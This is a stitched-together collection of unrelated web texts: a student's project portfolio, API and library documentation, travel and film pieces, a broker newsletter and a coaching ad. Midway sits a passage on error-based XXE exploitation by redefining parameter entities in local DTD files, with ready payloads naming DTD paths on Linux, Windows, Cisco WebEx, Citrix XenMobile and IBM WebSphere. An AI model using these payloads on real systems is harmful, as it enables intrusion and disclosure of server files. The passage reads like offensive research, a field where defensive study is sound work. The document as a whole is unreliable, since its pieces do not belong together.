Picture 1: birds’ eyes view over the rendered scene.
Simulating real world places is always really interesting because it allows experiencing their sight from anywhere in the planet, and if done right it can help solve some interesting optimization problems that otherwise would take a much longer time. My project is about implementing a 3D model of a small part of AUI campus.
After learning how to manually create a cube and a pyramid during the first part of the course, it became obvious that making any kind of more complex shapes would be extremely hard, the challenge would be more on finding out where each point of an objects geometry is rather than learning new and more complex computer graphics generation techniques.
So, the first question that came into my mind: is there any way to make 3D models using a wellknown software, and then rendering them using Java code? The question was first answered by Dr. Kevin Smith, who told me to look up .obj files. After some research I discovered that it is indeed possible, and that there are multiple files types (including .obj) dedicated to storing objects information. However, due to their simplicity .obj files are preferred for people that just started to learn openGL.
This is when I found the very good YouTuber ThinMatrix, who made a Java Game Engine from scratch and who explains very nicely how he went through every single step. He made a file called objLoader.java that reads our .obj files and transforms them into Matrices ready to be used in our Java Engine. After reading and understanding his code, it was clear that the basic things that we learned in the course will no longer cut-it, and it was time to use more sophisticated tools to work on our projects.
Picture 2: the project’s rendered models.
It is important to note that the Java Engine is made by ThinMatrix, a YouTuber that makes a tutorial series on how to create a 3D Java game with OpenGL using the library LWJGL (Light Weight Java Game Library).
Link to his YouTube channel: https://www.youtube.com/user/ThinMatrix
Now that I’ve found an object parser, I had to start making the 3D objects needed for my project. This is when I downloaded Blender. This software is used to make really sophisticated video games, so it was no surprise that it was hard to use, and in my case I used it to make 3D models of objects and to use UV Mapping to put texture on them.
Picture 3: untextured Models in Blender.
Learning how to do so was very time consuming. In fact, it was so time consuming that I changed the software I use to model my objects, and this is when I downloaded Sketch-Up. Sketch-Up is very easy to use and is very intuitive, however, it does not support UV Mapping which is an essential part of the Java Game Engine that ThinMatrix made. So, I had to convert my Sketch-Up project to a blender project. Thankfully, I’ve found a person who made a plug-in just for this (pros of using an open source software). I was excited at first, but then I found out that using this method didn’t really convert the sketch-up project 100% as it was originally. Unnecessary details were created. Extra edges and vertices were added, and half of the model didn’t render in the Java Engine.
Picture 4: use of Sketch-Up to make a Building model that uses materials instead of UV Mapping.
Picture 5: problems encountered after importing a building model from Sketch-UP to Blender.
Picture 6: problems encountered after rendering the imported model from Sketch-Up to Blender.
I came to the conclusion that it would take less time to start from scratch and make a whole new model in Blender than trying to fix the messed up imported project from Sketch-Up to Blender. And this is when I went back to using Blender only, again. I already had previous experience with Photoshop, so it was easy for me to make UV Maps, I looked for the textures I wanted on my objects, I’ve put them where Blender would expect them, I adjusted the number of the texture tiles and I cropped real world photos and implement them in the textures.
Picture 7: use of Photoshop to make UV maps.
I am already familiar with Eclipse, so it was easy to create a project for the Java Game Engine, include all the necessary libraries, etc.
Picture 8: use of Eclipse to run the Game Engine.
Building a single building was a big hassle, it is what took most of my time on this project, but after every failed attempt I reinforced my knowledge about Blender and the end results turned-out to be pretty decent.
Very close. I made a textured 3D model of the cafeteria building, a textured 3D model of the fountain next to it that contains shiny, reflective and rippling water, I used a textured terrain and moving clouds that use the skybox method (3D projection of textures to a cube that rotates). What I didn’t make is animating my character, or implement physical properties.
Picture 9: real photos incorporated into the textures of the building.
Picture 10: the building’s corresponding UV Map.
Picture 11: realistic water rendering contained in the fountain model.
Animations
Using blender I would create a “skeleton” inside my character’s “body”, it’ll be very simple and structured in such a way that if I move a “parent bone” I would move its “child bones” too. Suppose now that the bone of the middle section is the parent bone of 3 other bones: 1 for the head and 1 for each arm. Tilting the middle section forward would mean tilting the head and arms forward too. Of course the child bones are free to move without a problem.
This skeleton will not be rendered, it is just a way to facilitate animation, what will really be rendered is all of the vertices changing their position depending on what bone was moved. If we want our character to make a specific animation, we could make key frames in blender and then link the two together by making a program that modifies the position of each bone to go from the starting key frame to the ending key frame smoothly.
Physical Properties
For example, if I wanted to make a dynamic fountain, I would need to use a dynamic substance, one that uses particles to simulate water. Simulating water being shot from the fountain would require simulating the transfer of energy from one particle to another and then by including gravity into the equation the particles would come back to the surface after they reach a certain height.
Picture 12: Birds’ eyes view 2 over the rendered scene.
Picture 1: website logos.
I worked on building a website for “Centre Ahli”, a center that welcomes boys in precarious situations whose ages vary between 7 and 15 years.
To store information, I used a database and handled it using Microsoft SQL Server Management Studio. To program I used Visual Studio which allows using all of the technologies needed in one program.
The website is still under construction and is not available for the public right now.
To automate some tasks that are performed daily by the educators, such as:
Client side:
Server side:
Software:
The first things visitors see are some menus, a brief description of the center, a link to a more descriptive page if they wish to learn more about the center and some logos / graphics.
The language menu allows switching the website between different languages: English, French or Arabic.
The search / social media menu allows looking for information in the website or to get to the center's social media pages fast.
The main menu allows navigating to important pages in the website.
The blue mosque represents the actual mosque that is right next to the center and the little house represents the center itself, along side a shiny little sun and birds flying around to represent the peaceful environment that the center provides.
Next-up is a presentation video made by one of the volunteers.
After that a list of the latest activities is shown. A visitor can sort the activities by category. Clicking on an activity takes the visitor to the activity details page.
Finally, the footer displays some quotes by educators, the center's contact information and a contact form.
Picture 2: the front page.
Picture 3: the log-in form.
In order to perform actions in the website such as making a comment, adding an activity as a volunteer, etc, one must create an account and log-in.
Picture 4: profile details.
Picture 5: more profile details.
The profile page provides useful information about a user:
Picture 6: the actions field and the user's name are added to the menu.
Depending on the type of account that has loged-in, the user will see a slightly different interface. The picture above shows the actions available for the educators. If the account is of type volunteer then only "Create Activity" will be available.
Add Child
If an educator clicks on the "Add Child" action menu they'll have access to a form that allows adding a child's information to the database.
Picture 7: the form that allows adding a child to our database.
Add Related Person to a Child
To add a relative such as a parent or sibling the educator can click on the "Add A Related Person To A Child" button. After that they'll need to pick a child, then fill in the form.
Picture 8: the form that allows looking for a specific child.
Picture 9: the form that allows looking for a specific child.
Create Activity
Both educators and volunteers can create an activity. After clicking on the "Create Activity" button in the action menu, users are invited to fill-in the activity details and add to it the children that will participate.
Picture 10: the form that allows creating an activity.
An activity page is where all of its information is displayed:
A page is also interactive in the sense that volunteers can add it to their upcoming activities, comment on it and have conversations with other volunteers in the comment section, and can be modified or deleted by the activity creator.
Picture 11: an activity page.
Picture 12: delete activity button (if the user is the owner).
Close ProjectPicture 1: The main (center) panel of the MP3 player.
I built a desktop application using Java that shows a graphic user interface (GUI) of an MP3 player. It has two main panels:
A big one in the center, which has three tabs:
A smaller one to the right, which has two blocks:
If we select one tab in the center panel, songs are organized according to that tab. For example, if we click on the “Artist / Group” tab we will see all of the songs organized by the artist or group that created the songs. Clicking on the other tabs has a similar effect except that it organizes the songs by either style or album.
Picture 2: The Artist/Group Tab.
Picture 3: The Style Tab.
Picture 4: The Album Tab.
The panel to the right has a dynamic couple of blocks:
Picture 5: The playlist block is filled with songs that the user wants to play.
Picture 6: The most recently played list block is only filled with songs that have been played.
Finally, we can save the current state of the player by clicking on menu then save, this means the next time we come back we will see our playlist block and most recently played list block the same as before we got out of the MP3 Player.
Picture 7: Using the save button before exiting.
Picture 8: Example of a class that implements Serializable.
Picture 9: The two files that are stored on the hard drive after clicking save.
Picture 10: MP3 Player Project in Netbeans.
Picture 11: An overall look on the MP3 Player.


Enum Key
The Key enumeration contains special encoding for some keys, but can also encode all the unicode values that can be passed.
Namespace: Terminal.Gui
Assembly: Terminal.Gui.dll
Syntax
public enum Key
Remarks
If the SpecialMask is set, then the value is that of the special mask, otherwise, the value is the one of the lower bits (as extracted by CharMask)
Control keys are the values between 1 and 26 corresponding to Control-A to Control-Z
Unicode runes are also stored here, the letter 'A" for example is encoded as a value 65 (not surfaced in the enum).
Fields
| Name | Description |
|---|---|
| AltMask | When this value is set, the Key encodes the sequence Alt-KeyValue. And the actual value must be extracted by removing the AltMask. |
| Backspace | Backspace key. |
| BackTab | Shift-tab key (backwards tab key). |
| CharMask | Mask that indictes that this is a character value, values outside this range indicate special characters like Alt-key combinations or special keys on the keyboard like function keys, arrows keys and so on. |
| ControlA | The key code for the user pressing Control-A |
| ControlB | The key code for the user pressing Control-B |
| ControlC | The key code for the user pressing Control-C |
| ControlD | The key code for the user pressing Control-D |
| ControlE | The key code for the user pressing Control-E |
| ControlF | The key code for the user pressing Control-F |
| ControlG | The key code for the user pressing Control-G |
| ControlH | The key code for the user pressing Control-H |
| ControlI | The key code for the user pressing Control-I (same as the tab key). |
| ControlJ | The key code for the user pressing Control-J |
| ControlK | The key code for the user pressing Control-K |
| ControlL | The key code for the user pressing Control-L |
| ControlM | The key code for the user pressing Control-M |
| ControlN | The key code for the user pressing Control-N (same as the return key). |
| ControlO | The key code for the user pressing Control-O |
| ControlP | The key code for the user pressing Control-P |
| ControlQ | The key code for the user pressing Control-Q |
| ControlR | The key code for the user pressing Control-R |
| ControlS | The key code for the user pressing Control-S |
| ControlSpace | The key code for the user pressing Control-spacebar |
| ControlT | The key code for the user pressing Control-T |
| ControlU | The key code for the user pressing Control-U |
| ControlV | The key code for the user pressing Control-V |
| ControlW | The key code for the user pressing Control-W |
| ControlX | The key code for the user pressing Control-X |
| ControlY | The key code for the user pressing Control-Y |
| ControlZ | The key code for the user pressing Control-Z |
| CursorDown | Cursor down key. |
| CursorLeft | Cursor left key. |
| CursorRight | Cursor right key. |
| CursorUp | Cursor up key |
| Delete | The key code for the user pressing the delete key. |
| DeleteChar | Delete character key |
| End | End key |
| Enter | The key code for the user pressing the return key. |
| Esc | The key code for the user pressing the escape key |
| F1 | F1 key. |
| F10 | F10 key. |
| F2 | F2 key. |
| F3 | F3 key. |
| F4 | F4 key. |
| F5 | F5 key. |
| F6 | F6 key. |
| F7 | F7 key. |
| F8 | F8 key. |
| F9 | F9 key. |
| Home | Home key |
| InsertChar | Insert character key |
| PageDown | Page Down key. |
| PageUp | Page Up key. |
| Space | The key code for the user pressing the space bar |
| SpecialMask | If the SpecialMask is set, then the value is that of the special mask, otherwise, the value is the one of the lower bits (as extracted by CharMask). |
| Tab | The key code for the user pressing the tab key (same as pressing Control-I). |
| Unknown | A key with an unknown mapping was raised. |


Shanghai, China
Peace Hotel Jazz Bar
This bar is home to what's likely the oldest living jazz band in the world.
by lukefaterThe Peace Hotel is, alone, worth a visit. The historic art-deco behemoth is a centerpiece of Shanghai’s picturesque riverside Bund area. The hotel bar’s house band is just the cherry on top: The primarily octogenarian “Old Jazz Band” is likely the oldest living and longest-performing musical group alive today.
The bar and its band are an encapsulation of a pivotal era in Shanghainese history. The arrival of jazz in the 1920s brought about an embracing of Western culture throughout the city known as the “Paris of the Orient”: Men began wearing suits, ties, and mechanical watches, and gelling their hair, while women assumed tight-fitting cheongsams with high heels. The band’s repertoire of mostly nostalgic tunes from the ’20s and ’30s is an homage to a bygone era that birthed what’s known as “Shanghai style,” a singular blend of East meets West, old meets new.
Several musicians can likely attest firsthand to the period’s pathos; the “younger” of the bunch can recall practicing their forbidden instruments in secret during the Cultural Revolution of the ’60s. At any rate, the “Old Jazz Band” that began playing here in 1980 is the same one that plays today. The average age of the house musicians is currently 82, a number offset by the rotating, often younger “sultry female vocalist” (according to the hotel website) who joins the band at 9:00 p.m. each night.
That the bar itself was originally an English-style pub is evidenced in its darker features, from the bar stools to the wooden tabletops, suited to an ambience of weighty refinement persistent throughout the hotel. Photos of famous politicians visiting the legendary bar line the walls, including Jimmy Carter and Barack Obama. Bill Clinton (did you know he played saxophone?) once famously joined the band for a stand-in solo.
While the bar is open to the public, care is taken to evoke a sense of exclusivity. Returning guests’ preferred food and drink order, as well as their table and cigar selection, are memorized by staff. A menu of snacks accompanies a cocktail list inspired by those of the ’20s. Grab a martini and french fries and enjoy this living slice of Shanghai history. The band goes on each night at 6:30 p.m. If the charm brings you to tears, it’s dark enough that no one will notice.

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PLOT: A faux documentary film featuring a glimpse behind the scenes of a small Minnesota town's teen beauty contestants and their overly competitive families.
CRITIQUE: Some people may find stupid, over-the-top, stereotyped characters from a small town to be extremely funny, and I myself have been known to subscribe to this group from time to time, but it was obvious from the first frame of this film that its only source of comedy would come from its idiotic characters, goofy accents and ignorant statements. For me, that just wasn't funny! It's unfortunate because the premise of the film seemed ripe for parody with some funny characters brewing within, but for me, only a few chuckles trickled out here and there, but mostly I was shaking my head and thinking "this is just stupid". It didn't help that most of the main characters seemed to go in and our their accents from time to time.
Besides its lack of consistent humor, I also found that the film ran a little too long, had one really exaggerated and unfunny retarded character who was just embarrassing, and many, many missed opportunities, including a flat ending. I did enjoy two smaller characters in the film, one being the father of Denise Richards character and judge#2 with his penchant for "young girls", but overall, most felt tired. Two characters which were way underused were Ellen Barkin, who could've been so much more, and Denise Richards, who appeared to be the star of the film from the look of its trailer, but actually only played a small part within a diverse cast of characters.
Overall, the film didn't do it for me, offering very little in real humor and relying more on the easy, let's make fun of the trailer-trash-folk-type of comedy. And if you're expecting T&A from Richards, forget about it. Any which way you look at it, missed opportunities all around.
Little Known Facts about this film and its stars: Kirsten Dunst has gone on record as saying that she will remain a virgin until she meets the "right guy", and once dated Dustin Hoffman's son. She also beat out Christina Ricci for roles in INTERVIEW WITH THE VAMPIRE (8/10) and LITTLE WOMEN. This film is director Michael Patrick Jann's feature debut. This film is also screenwriter Lona Williams' first produced script. She was once first runner up in the National Junior Miss competition. She also plays Judge#3 in this film. Denise Richards stands 5'6", has been nicknamed "Fluffy Girl", and made her feature film debut as Gladys in 1993's LOADED WEAPON. In 1995, Ellen Barkin dated actor David Arquette. She was also married to actor Gabriel Byrne This film was originally titled DAIRY QUEENS.
Review Date: July 24, 1999 Director: Michael Patrick Jann Writer: Lona Williams Producers: Judy Hofflund and Gavin Polone Actors: Denise Richards as Becky Leeman Kirsten Dunst as Amber Atkins Kirstie Alley as Gladys Leeman Ellen Barkin as Annette Atkins Genre: Comedy Year of Release: 1999 ------------------------------------ JoBlo's Movie Emporium http://www.joblo.com/ ------------------------------------ (c) 1999 Berge Garabedian
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(PHP 4, PHP 5 < 5.2.1)
ifx_pconnect — Open persistent Informix connection
$database
[, string $userid
[, string $password
]]] ) : resourceifx_pconnect() acts very much like ifx_connect() with two major differences.
First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.
Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ifx_close() will not close links established by ifx_pconnect()).
This type of links is therefore called 'persistent'.
All of the arguments are optional, and if they're missing, defaults are taken from values supplied in php.ini (ifx.default_host for the host (Informix libraries will use INFORMIXSERVER environment value if not defined), ifx.default_user for user, ifx.default_password for the password (none if not defined).
database
The database name, as a string.
userid
The username, as a string.
password
The password, as a string.
Returns: valid Informix persistent link identifier on success, or FALSE
on errors.


Eight trillion. That’s the number of text messages sent every year. For the record, that’s 23 billion texts sent every day. Or almost 16 million per minute.
On July 7, 2016, Facebook reported that over one billion people now use Messenger, up 200 million since January 2016. As of February 1, 2016, WhatsApp logged one billion users on its platform. In case you didn’t know, Facebook owns WhatsApp.
Slack’s growth is going bonkers too. They just released video chat, quietly nudging their way into a dominant messaging platform that joins the ranks of Facebook, Apple, Microsoft, and Google.
Then there’s Amazon’s bullish outlook that Echo could be its next billion-dollar business. They sold over three million units this year and expect to more than triple that number in 2017. Hey, it gets lonely in the kitchen.
Talking computers. Conversational machines. “Smart” phones with virtual assistants. How did we get here? Where is all this heading?
As contemporary art continues to influence cultural memes, including presidential elections, it subtly inspires major breakthroughs in technology.
The first time many people saw a rocket to the moon was in the French silent film Le voyage dans la lune (A Trip To The Moon) in 1902. The first real rocket to the moon? 1969, almost 70 years later.
In 1977, the archvillain Kingpin slapped a monitoring device on Spider-Man to track his whereabouts and eliminate Spidey’s surprise visits.
Judge Jack Love, inspired after reading this comic strip, developed the first prototype for what is commonly known as the ankle bracelet. In 1983, the first ankle monitor was worn by four prisoners to great success. Judge Love’s goal to reduce overcrowding in prisons began to materialize and house arrest was born.
Dick Tracy’s iconic two-way wrist radio made its first comic book appearance in 1946. Samsung Galaxy Gear released its own version of a watch in September of 2013. In Samsung’s ad, they referenced their sources of inspiration: comic books, TV, and cinema.
Texting exploded in the 2000s and now is widely used as a phone-to-phone messaging platform. SMS, or short message service, would soon become MMS, or multimedia message service, as technology improved.
It also invented a new way to convey feelings with emoticons, now famously known as emojis.
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public interface Reader
Keeps information about reader hardware and capabilities. Provides means to capture fingerprints.
| Modifier and Type | Interface and Description |
|---|---|
static class |
Reader.Capabilities
Information about reader capabilites.
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static interface |
Reader.CaptureCallback
Returns a capture result.
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static class |
Reader.CaptureQuality
Constants describing result of the capture operation.
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static class |
Reader.CaptureResult
Complete result of the capture operation.
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static class |
Reader.Description
Complete information about reader hardware.
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static class |
Reader.Id
Reader Hardware ID.
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static class |
Reader.ImageProcessing
Constants describing image processing.
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static class |
Reader.Modality
Constants describing reader modality.
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static class |
Reader.ParamId
Constants describing parameter ids.
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static class |
Reader.Priority
Constants describing priority of the client opening the reader.
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static class |
Reader.ReaderStatus
Constants describing status of the reader.
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static class |
Reader.Status
Describes status of the reader.
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static class |
Reader.Technology
Constants describing reader technology.
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static class |
Reader.Version
Reader hardware version.
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static class |
Reader.VersionInfo |
| Modifier and Type | Method and Description |
|---|---|
void |
Calibrate()
Calibrates the reader.
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void |
CancelCapture()
Cancels pending capture.
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Reader.CaptureResult |
Capture(Fid.Format format,
Reader.ImageProcessing img_proc,
int resolution,
int timeout)
Captures a fingerprint image.
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void |
CaptureAsync(Fid.Format format,
Reader.ImageProcessing img_proc,
int resolution,
int timeout,
Reader.CaptureCallback capture_callback)
Captures a fingerprint image.
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void |
Close()
Releases the reader.
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Reader.Capabilities |
GetCapabilities()
Returns capabilities of the reader.
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Reader.Description |
GetDescription()
Returns description of the reader.
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byte[] |
GetParameter(Reader.ParamId param_id)
Reads reader or driver setting.
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Reader.Status |
GetStatus()
Returns status of the reader.
|
Reader.CaptureResult |
GetStreamImage(Fid.Format format,
Reader.ImageProcessing img_proc,
int resolution)
Takes an image from the stream.
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void |
Open(Reader.Priority priority)
Opens a reader.
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void |
Reset()
Resets the reader.
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void |
SetParameter(Reader.ParamId param_id,
byte[] buffer)
Changes reader or driver setting.
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void |
StartStreaming()
Puts reader into streaming mode.
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void |
StopStreaming()
Stops streaming mode.
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void Open(Reader.Priority priority) throws UareUException
UareUException
- if reader cannot be opened.void Close() throws UareUException
UareUException
- if reader cannot be closed.Reader.Status GetStatus() throws UareUException
To acquire status reader must be opened.
UareUException
- if reader cannot be closed.Reader.Capabilities GetCapabilities()
To acquire capabilities reader must be opened.
Reader.Description GetDescription()
Reader does not have to be opened in order to acquire description.
Reader.CaptureResult Capture(Fid.Format format, Reader.ImageProcessing img_proc, int resolution, int timeout) throws UareUException
This function captures a fingerprint image from the opened reader device. This function signals the device that a fingerprint is expected and waits until a fingerprint is received. This function blocks until an image is captured, capture fails or timeout is expired. This function cannot be called in streaming mode.
format
- Format of the image.img_proc
- Processing of the image.resolution
- Resolution of the image.timeout
- Timeout in milliseconds; -1 means no timeout (function will block until a fingerprint is captured).UareUException
- if capture cannot be performed.void CaptureAsync(Fid.Format format, Reader.ImageProcessing img_proc, int resolution, int timeout, Reader.CaptureCallback capture_callback) throws UareUException
This function captures a fingerprint image from the opened reader device. This function signals the device that a fingerprint is expected. This function calls the callback function when an image is captured, capture fails or timeout is expired. This function cannot be called in streaming mode.
format
- Format of the image.img_proc
- Processing of the image.resolution
- Resolution of the image.timeout
- Timeout in milliseconds; -1 means no timeout (function will block until a fingerprint is captured).capture_callback
- Object implementing CaptureCallback interface to return a capture result.UareUException
- if capture cannot be performed.void CancelCapture() throws UareUException
UareUException
- if capture cannot be canceled.void StartStreaming() throws UareUException
Not all readers support this mode. When the reader is in streaming mode, the application can only call GetStreamImage() to acquire images from the stream.
UareUException
- if failed to start streaming.void StopStreaming() throws UareUException
UareUException
- if failed to stop streaming.Reader.CaptureResult GetStreamImage(Fid.Format format, Reader.ImageProcessing img_proc, int resolution) throws UareUException
After the reader is put into streaming mode this function takes an image from the stream. After this function returns, the reader stays in the streaming mode. Frame selection, scoring or other image processing is not performed.
format
- Format of the image.img_proc
- Processing of the image.resolution
- Resolution of the image.UareUException
- if failed to acquire image from the stream.void Calibrate() throws UareUException
This function calibrates a reader and blocks until the calibration is complete. It can take several seconds to calibrate for some devices.
UareUException
- if failed to calibrate the reader.void Reset() throws UareUException
This function performs a hardware reset on the reader. Hardware resets are typically needed only after a hardware problem (e.g., the reader is unplugged or receives an electrostatic shock). This function blocks until the reset is complete.
UareUException
- if failed to reset the reader.void SetParameter(Reader.ParamId param_id, byte[] buffer) throws UareUException
This function writes the setting value for the driver of for the reader.
param_id
- Parameter IDbuffer
- parameter valueUareUException
- if failed to reset the reader.byte[] GetParameter(Reader.ParamId param_id) throws UareUException
This function reads the setting value for the driver of for the reader.
param_id
- Parameter IDUareUException
- if failed to reset the reader.


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Barcelona here we come! Thanks to Donna Anderson on her outstanding achievement.
Dear Name,
The Chairman’s Club competition has come to an end. We’d like to thank everyone who participated – over 80% of our registered brokers – and congratulate Donna Anderson, our competition winner who will be heading to Barcelona. |
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You can read some great advice from Donna about referring customers here, and find the full competition results further down the page.
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Did you know?
A client is three times more likely to get a policy if they have had the conversation with their AFG broker first!
By now, you should have received your new broker referral kits to use for your clients. If you haven’t, please make sure your postal address in FLEX is up to date (replies to this email will not be accepted). |
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Hints & tips – referring customers in four easy steps
As your client’s trusted financial advisor, you have the opportunity to ensure that their affairs are in order, including insurance protection for them and their loved ones. This conversation is particularly relevant when they take out a new mortgage. Here are four easy steps to guide you:
1. Explain the need for insurance
2. Introduce them to InsuranceLine
3. Get permission to refer them
4. Lodge consent on FLEX
It’s as easy as that. For more details on referring customers go here.
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InsuranceLine is a trading name of TAL Direct Pty Limited ABN 39 084 666 017 AFSL 243260, which distributes
these products to customers of Australian Finance Group Limited ABN 11 066 385 822 (AFG). Products are
issued by TAL Life Limited ABN 70 050 109 450 AFSL 237848 (TAL). St Andrew's Insurance (Australia) Pty
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Headers are a simple means of adding organization to a page. By using varying sizes and weights of text through header elements, developers can create visually recognizable sections. These sections start with the heaviest visual element (header) followed by smaller sized content.


Imagine you have an XXE. External entities are supported, but the server’s response is always empty. In this case you have two options: error-based and out-of-band exploitation.
What can you do if there is a firewall between you and the target server? Nothing!
What if we just put external DTD content directly in the DOCTYPE? Some errors will always appear:
External DTD allows us to include one entity inside the second, but it is prohibited in the internal DTD.
What can we do with internal DTD?
To use external DTD syntax in the internal DTD subset, you can bruteforce a local dtd file on the target host and redefine some parameter-entity references inside it:
Contents of sip-app_1_0.dtd
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<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
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It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.
How can we find a local dtd file?
Nothing is easier than enumerating files and directories. Below are a few more examples of successful applications of this trick:
Custom Linux System
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Custom Windows System
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Thanks to @Mike_n1 from Positive Technologies for sharing this path of always-existing Windows DTD file.
Cisco WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd">
<!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Citrix XenMobile Server
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
Custom Multi-Platform IBM WebSphere Application
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
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Project Description
Echo Chef provides a hands-free way to follow recipes while you cook, able to guide you through recipes interactively. Think of it as your personal assistant in the kitchen.
Just add your favorite recipes to our web interface and then you can ask Echo Chef anything about them, such as step by step instructions, preheat temperatures, and more.
In addition to its functionality in the kitchen, we track the data from the recipes you use and deliver it in an easily digestable way, from the completion time of each recipe, to your most used ingredients.
Contribution:
Front End Developer
I created the responsive front end for the website using Bootstrap. Developed the splash page and recipe database page, which I populated from our database using PHP with HTML and CSS. Acquired our domain and set up hosting, then made the website live. I also created the form for adding recipes and helped hook up the data to our various charts and graphs.


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Hello, my name is Hridoy roy and I have an BSc in Computer Science and Engineering and have more than 4 years of experience in the field of Web Design, UI/UX Design , Web development and efficiently coding websites and applications using modern HTML, CSS, JavaScript and JQuery.


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Importing takes data from the excel file and updates any beaches with the same latitude and longitude in the database, with the beaches in the excel file. These updates occur based on latitude and longitude, and because of this, it is impossible to update the latitude and longitude of a beach using import (Has to be manually deleted then you can call import or create it manually). Import creates any beaches that are in the excel file but not in the db with the same lat/long


Autocomplete - Test Case 1
Test Case - Baymard auto-complete
Implementation details
Based on the Baymard Select-To-Autocomplete plugin. Uses data from country.register.gov.uk.
Results
Colour blindness
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Colour contrast
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Inverted Colours
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Increased font size
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Hit area
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Keyboard only (chrome)
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Screen readers
Jaws 16 / IE 11
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Jaws 13 / IE 9
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NVDA / Firefox
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VoiceOver / Safari (OS X)
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VoiceOver / Safari (iOS 9.2.1)
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Talkback / Firefox (Android Lollipop)
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Screen Magnifier / ZoomText
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Speech Recognition / Dragon
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Valid markup
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Progressive Enhancement
No Javascript
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No Javascript and no CSS
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Object attr
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or halts immediate propagation, the inline function will not be called, and further immediate propagation of the event will not occur.after
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attribute. It will have thejavascript:
prefix stripped, if present. It's worth remembering that the context (thethis
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// given <button onclick="doSomething()">do something</button> // or do something else // Basic usage: $('button').preempt({ attr: 'onclick', event: 'click', }, function doSomethingBeforeSomething() { // do something else }); // Restoring the inline JS: $('button').preempt({ attr: 'onclick', event: 'click', restore: true }); // Fancy usage: $('button').preempt({ attr: 'onclick', event: 'click', before: function executedBeforeInlineJS(event, data) { // stuff; return false to halt propagation to inline JS }, after: function exectedAfterInlineJS(event, data) { // things; return false to prevent the default action and stop propagation }, // will execute the after() function even if the inlined JS returned false. forcePropagation: true, data: { before: 'some data to be passed to the before() function', after: 'some data to be passed to the after() function', } });


Welcome to Wings Coaching
Online React, JavaScript & Typescript Mentorship
Our mission is to educate and help people. We are trying to acomplish that by creating personal programs and providing high quality mentors.
We can discuss how can we help you, and are we good fit for each other?
If you feel like we are not helping you at all, you are able to refund your money!
Every session is live and 1 on 1, giving you full attention of a coach.
Send your coach a message between your sessions for free, when you get stack and you have simple or small question(s).
The basics will cover everything from Types, Variables, Math Operators, Functions, Scopes, this, Arrow Functions, Loops, Arrays, Objects, Classes etc.. But also introduce you to styling languages like CSS and HTML .
Problem solving - we will teach you how to approach the problem, understand the problem and solve it. And also help you develop the way of thinking like software engeener.
Creating real world applications will help you to get
real world experience and build your own projects. This will be
usefull for you to get a job as a software engineer, by building
great portfolio and already be prepared for the interview and
even for the job. Some of the projects we are usually building
with our students are:
Calculator, Chess, Tic-Tac-Toe, Fitness app, Booking app,
Web-shop app etc.
React Lifecycles, components, classes, Hooks, Props, State, etc. React roadmap & echosystem.
Core JS concepts, events, closures, OOP, Functional, sync/async, JS API calls, and much more.
Understanding differences between JS and TS, how to write TS code, and think in TS.
Learn how to structure your code, and model reality into software
- Learn React, JavaScript & Typescript
- 1 on 1 sessions through video calls
- Pick a schedule from your calendar
- Refund after first two sessions


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Day 1: Art, Beaches, People Watching, and shopping
Part 1: The Getty Museum has one of the most renowned art collections in the World – from impressionist such as Van Gogh to the Renaissance period. It also has beautiful gardens and a picturesque view of downtown LA.
Part 2:After a 20-30 minute drive from the Getty you will arrive at Venice Beach. For shoppers, Abbot Kinney boulevard offers a variety of shops and restaurants; or, shop right along the Venice Boardwalk for quirky outlets and street food.
By far the most popular thing to do is people watch along Venice Beach. You’ll find chiseled bodybuilders at Muscle gym, or adept skateboarders and basketball players at the skatepark and basketball courts. After, relax on the warm sand at one of Cali’s finest beaches.
It is also possible to rent a bike at one of the many outlets along the Venice Boardwalk and cruise over to Santa Monica pier - a year-long carnival along the beachfront.
Day 2: Hollywood - Shopping, museums, & hiking
Part 1:Griffith Observatory has the best view in Los Angeles and is a fantastic place to view the Hollywood sign and catch a sunset! From here it is a 15-20 minute drive to the next destination.
Part 2:A popular walk with lots of interesting shops and venues (such as Jimmy Kimmel, the Hollywood wax museum, candy stores, and the TCL Chinese Theatre) is along the Hollywood Walk of Fame. If you stop by Hollywood and Highland, you can catch a nice view of the Hollywood sign!
Part 3: From here it’s a short drive to Runyan Canyon Park if you’re interested in hiking. You’ll be pleasantly surprised with a nice view of the city, and if you’re lucky, run into a celebrity!
Part 4:For those interested in more shopping – you can take another short (15 minute) drive to Grove Mall and the original farmer’s market. This is the most famous shopping area in Los Angeles! Grove mall boast high end outlets and the farmers market provides a lengthy selection of interesting food stalls.
If Art and design interest you, we recommend the Los Angeles county museum of art and/or Urban light. The entrance fee is $20, and it’s almost walking distance from the Grove.
Day 3: Universal Studios & Universal Citywalk
Part 1:A great day outing is the famed Universal Studios – explore Hogwarts or get the thrill of Fast and Furious – this is a sure way to get your adrenaline going. Ticket price range depends on event selections and can be found at Universal Studios Hollywood
Nearby is the Universal citywalk, which is a great way to shop around, explore restaurants, and see the iconic Hollywood movie outlets.
Day 4: Downtown Los Angeles
The Walt Disney Concert hall is one of the most iconic buildings in modern architecture. For those contemporary art junkies, just a block away is LA’s modern art scene: the museum at the Broad and across is the Museum of Contemporary art.
One of the best food markets in Los Angeles is just a short walk away at the Grand Central Market – take your pick from the numerous, delicious, and cheap food vendors. Other interesting nearby sites include the last bookstore, Bradbury building, and the central library.
- RECOMMENDED STAY:
